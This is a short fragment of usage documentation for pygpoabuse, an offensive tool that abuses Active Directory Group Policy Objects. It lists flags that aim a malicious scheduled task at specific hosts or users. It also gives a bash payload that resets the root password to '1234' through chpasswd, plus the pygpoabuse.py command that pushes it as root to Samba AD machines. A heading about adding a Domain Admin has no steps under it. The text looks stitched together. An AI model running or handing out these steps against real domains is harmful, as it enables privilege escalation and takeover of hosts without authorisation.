Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled):
-filter-enabled Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user
-target-dns-name FQDN
Computer task: DNS/FQDN of the only host that should run the task (e.g. dc01.corp.local)
-target-username DOMAIN\USER
User task: only this user processes the task (format: DOMAIN\username)
-target-user-sid SID User task: SID of the targeted user (optional, more robust matching)
# Add Domain user and add to Domain Admins via Domain-Controller

This tool also can be used with Samba AD Domains. It will create an immediate job as root on the remote computer for computer GPO.
First, create a Bash script or ELF file.
#!/bin/bash
echo "root:1234" | chpasswd
Then execute tool with --linux-exec argument.
./pygpoabuse.py DOMAIN/user:password -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --linux-exec /path/to/executable
